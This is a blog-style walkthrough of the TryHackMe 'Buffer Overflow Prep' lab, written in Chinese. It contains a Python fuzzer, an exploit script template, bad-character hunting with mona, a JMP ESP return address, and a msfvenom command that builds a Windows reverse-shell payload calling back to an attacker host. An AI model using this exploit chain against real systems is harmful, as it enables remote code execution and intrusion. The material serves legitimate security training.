【Try Hack Me】Buffer Overflow-3
🔥系列专栏:Try Hack Me
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
ID分析
Fuzzer.py(造成溢出)
#!/usr/bin/env python3
import socket, time, sys
ip = "MACHINE_IP"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
exp.py(实际产生攻击效果)
import socket
ip = "192.168.43.57"
port = 1337
prefix = "OVERFLOW1 "
offset = 0(溢出点)
overflow = "A" * offset
retn = ""(先是四个b,再是jmp)
padding = "" (最后一步填充 "\x90" * 16)
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
badchar.py(坏字符相关)
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
msf-pattern_create -l 2400(生成多400位的检验字符)(并且放到exp.py)
msf-pattern_offset -l 2400 -q 【eip】(把返回的eip拿来检验)
!mona bytearray -b "\x00"
就这样每找出来一个坏字符,就重新生成一个不包括他的对比字典
!mona bytearray -b "\x00\x07"
下面这条命令用来对比(最后面的是esp的值,根据自己的更改)
!mona compare -f C:\mona\oscp\bytearray.bin -a 00DCFA28
!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
后面的是刚才的坏字符
找出来的随便选一个就行,倒过来写到exp.py的retn
而后写入nop空字符 "\x90" * 16
msfvenom -p windows/shell_reverse_tcp LHOST= 192.168.247.130 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
填入执行即可



这里有个经验之谈,就是如果不是连着的,那么坏字符就可能是开头的
不太好表述
举个例子
这是第一次尝试坏字符
我就猜测坏字符是
11 40 5f b8
然后再去实验,看会不会还有别的


jmp如下
62501203
03125062
retn = “\x03\x12\x50\x62”
padding = “\x90” * 16
